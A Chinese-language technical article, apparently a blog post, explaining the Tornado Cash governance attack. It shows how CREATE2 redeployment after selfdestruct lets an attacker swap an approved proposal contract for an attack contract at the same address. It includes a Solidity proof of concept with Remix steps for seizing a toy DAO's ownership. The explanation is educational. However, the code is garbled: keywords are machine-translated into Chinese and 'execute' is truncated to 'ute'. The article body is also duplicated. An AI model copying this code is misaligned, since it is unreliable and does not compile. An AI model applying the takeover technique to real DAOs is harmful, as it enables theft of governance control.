大概兩週前(5 月20 日),知名混幣協議Tornado Cash 遭受到治理攻擊,黑客獲取到了Tornado Cash的治理合約的控制權(Owner)。攻擊過程是這樣的:攻擊者先提交了一個“看起來正常”的提案, 待提案通過之後, 銷毀了提案要執行的合約地址, 並在該地址上重新創建了一個攻擊合約。攻擊過程可以查看SharkTeam 的Tornado.Cash提案攻擊原理分析 [1] 。這裡攻擊的關鍵是在**同一個地址上部署了不同的合約**, 這是如何實現的呢?## 背景知識EVM 中有兩個操作碼用來創建合約:CREATE 與CREATE2 。### CREATE 操作碼當使用new Token() 使用的是CREATE 操作碼, 創建的合約地址計算函數為:地址 tokenAddr = bytes20(keccak256(senderAddress, nonce))創建的合約地址是通過**創建者地址** + **創建者Nonce**(創建合約的數量)來確定的, 由於Nonce 總是逐步遞增的, 當Nonce 增加時,創建的合約地址總是是不同的。### CREATE2 操作碼當添加一個salt時new Token{salt: bytes32()}() ,則使用的是CREATE2 操作碼, 創建的合約地址計算函數為:地址 tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))創建的合約地址是**創建者地址** + **自定義的鹽** + **要部署的智能合約的字節碼**, 因此只有相同字節碼和使用相同的鹽值,才可以部署到同一個合約地址上。那麼如何才能在同一地址如何部署不用的合約?## 攻擊手段攻擊者結合使用Create2 和Create 來創建合約, 如圖:> 代碼參考自:>>先用Create2 部署一個合約Deployer , 在Deployer 使用Create 創建目標合約Proposal(用於提案使用)。 Deployer 和Proposal 合約中均有自毀實現(selfdestruct)。在提案通過後,攻擊者把Deployer 和Proposal 合約銷毀,然後重新用相同的slat創建Deployer , Deployer 字節碼不變,slat 也相同,因此會得到一個和之前相同的Deployer 合約地址, 但此時Deployer 合約的狀態被清空了, nonce 從0 開始,因此可以使用該nonce 創建另一個合約Attack。## 攻擊代碼示例此代碼來自:// SPDX 許可證標識符:MITpragma solidity ^0.8.17;合約 DAO {結構提案 {地址目標;布爾批准;布爾泰特;}地址 public owner = msg.sender;Proposal[] 公開提案;功能批准(地址目標)外部{require(msg.sender == owner, "未授權");proposals.push(提案({target: target, approved: true, uted: false}));}函數 ute(uint256 proposalId) 外部應付款 {提案存儲提案 = proposals [proposalId] ;要求(提案。批准,“未批准”);要求(!proposal.uted,“uted”);proposal.uted = true;(bool ok, ) = proposal.target.delegatecall(abi.encodeWithSignature("uteProposal()"));require(ok, "委託調用失敗");}}合同提案{事件日誌(字符串消息);函數 uteProposal() 外部 {emit Log("DAO 批准的執行代碼");}函數 emergencyStop() 外部 {自毀(應付(地址(0)));}}合同攻擊{事件日誌(字符串消息);地址公共所有者;函數 uteProposal() 外部 {emit Log("執行的代碼未被 DAO 批准 :)");// 例如 - 將 DAO 的所有者設置為攻擊者owner = msg.sender;}}合約 DeployerDeployer {事件日誌(地址地址);函數部署()外部{bytes32 salt = keccak256(abi.encode(uint(123)));地址addr =地址(新部署者{salt:salt}());發出日誌(地址);}}合同部署者{事件日誌(地址地址);函數 deployProposal() 外部 {地址地址=地址(新提案());發出日誌(地址);}函數 deployAttack() 外部 {地址地址=地址(新攻擊());發出日誌(地址);}函數 kill() 外部 {自毀(應付(地址(0)));}}大家可以使用該代碼自己在Remix 中演練一下。1. 首先部署DeployerDeployer , 調用DeployerDeployer.deploy() 部署Deployer , 然後調用Deployer.deployProposal() 部署Proposal 。2. 拿到Proposal 提案合約地址後, 向DAO 發起提案。3. 分別調用Deployer.kill 和Proposal.emergencyStop 銷毀掉Deployer 和Proposal4. 再次調用DeployerDeployer.deploy() 部署Deployer , 調用Deployer.deployAttack() 部署Attack , Attack 將和之前的Proposal 一致。5. 執行DAO.ute 時,攻擊完成獲取到了DAO 的Owner 權限。
Tornado治理攻擊:如何同一個地址上部署不同的合約
大概兩週前(5 月20 日),知名混幣協議Tornado Cash 遭受到治理攻擊,黑客獲取到了Tornado Cash的治理合約的控制權(Owner)。
攻擊過程是這樣的:攻擊者先提交了一個“看起來正常”的提案, 待提案通過之後, 銷毀了提案要執行的合約地址, 並在該地址上重新創建了一個攻擊合約。
攻擊過程可以查看SharkTeam 的Tornado.Cash提案攻擊原理分析 [1] 。
這裡攻擊的關鍵是在同一個地址上部署了不同的合約, 這是如何實現的呢?
背景知識
EVM 中有兩個操作碼用來創建合約:CREATE 與CREATE2 。
CREATE 操作碼
當使用new Token() 使用的是CREATE 操作碼, 創建的合約地址計算函數為:
地址 tokenAddr = bytes20(keccak256(senderAddress, nonce))
創建的合約地址是通過創建者地址 + 創建者Nonce(創建合約的數量)來確定的, 由於Nonce 總是逐步遞增的, 當Nonce 增加時,創建的合約地址總是是不同的。
CREATE2 操作碼
當添加一個salt時new Token{salt: bytes32()}() ,則使用的是CREATE2 操作碼, 創建的合約地址計算函數為:
地址 tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))
創建的合約地址是創建者地址 + 自定義的鹽 + 要部署的智能合約的字節碼, 因此只有相同字節碼和使用相同的鹽值,才可以部署到同一個合約地址上。
那麼如何才能在同一地址如何部署不用的合約?
攻擊手段
攻擊者結合使用Create2 和Create 來創建合約, 如圖:
先用Create2 部署一個合約Deployer , 在Deployer 使用Create 創建目標合約Proposal(用於提案使用)。 Deployer 和Proposal 合約中均有自毀實現(selfdestruct)。
在提案通過後,攻擊者把Deployer 和Proposal 合約銷毀,然後重新用相同的slat創建Deployer , Deployer 字節碼不變,slat 也相同,因此會得到一個和之前相同的Deployer 合約地址, 但此時Deployer 合約的狀態被清空了, nonce 從0 開始,因此可以使用該nonce 創建另一個合約Attack。
攻擊代碼示例
此代碼來自:
// SPDX 許可證標識符:MIT pragma solidity ^0.8.17; 合約 DAO { 結構提案 { 地址目標; 布爾批准; 布爾泰特; } 地址 public owner = msg.sender; Proposal[] 公開提案; 功能批准(地址目標)外部{ require(msg.sender == owner, "未授權"); proposals.push(提案({target: target, approved: true, uted: false})); } 函數 ute(uint256 proposalId) 外部應付款 { 提案存儲提案 = proposals [proposalId] ; 要求(提案。批准,“未批准”); 要求(!proposal.uted,“uted”); proposal.uted = true; (bool ok, ) = proposal.target.delegatecall( abi.encodeWithSignature("uteProposal()") ); require(ok, "委託調用失敗"); } } 合同提案{ 事件日誌(字符串消息); 函數 uteProposal() 外部 { emit Log("DAO 批准的執行代碼"); } 函數 emergencyStop() 外部 { 自毀(應付(地址(0))); } } 合同攻擊{ 事件日誌(字符串消息); 地址公共所有者; 函數 uteProposal() 外部 { emit Log("執行的代碼未被 DAO 批准 :)"); // 例如 - 將 DAO 的所有者設置為攻擊者 owner = msg.sender; } } 合約 DeployerDeployer { 事件日誌(地址地址); 函數部署()外部{ bytes32 salt = keccak256(abi.encode(uint(123))); 地址addr =地址(新部署者{salt:salt}()); 發出日誌(地址); } } 合同部署者{ 事件日誌(地址地址); 函數 deployProposal() 外部 { 地址地址=地址(新提案()); 發出日誌(地址); } 函數 deployAttack() 外部 { 地址地址=地址(新攻擊()); 發出日誌(地址); } 函數 kill() 外部 { 自毀(應付(地址(0))); } }
大家可以使用該代碼自己在Remix 中演練一下。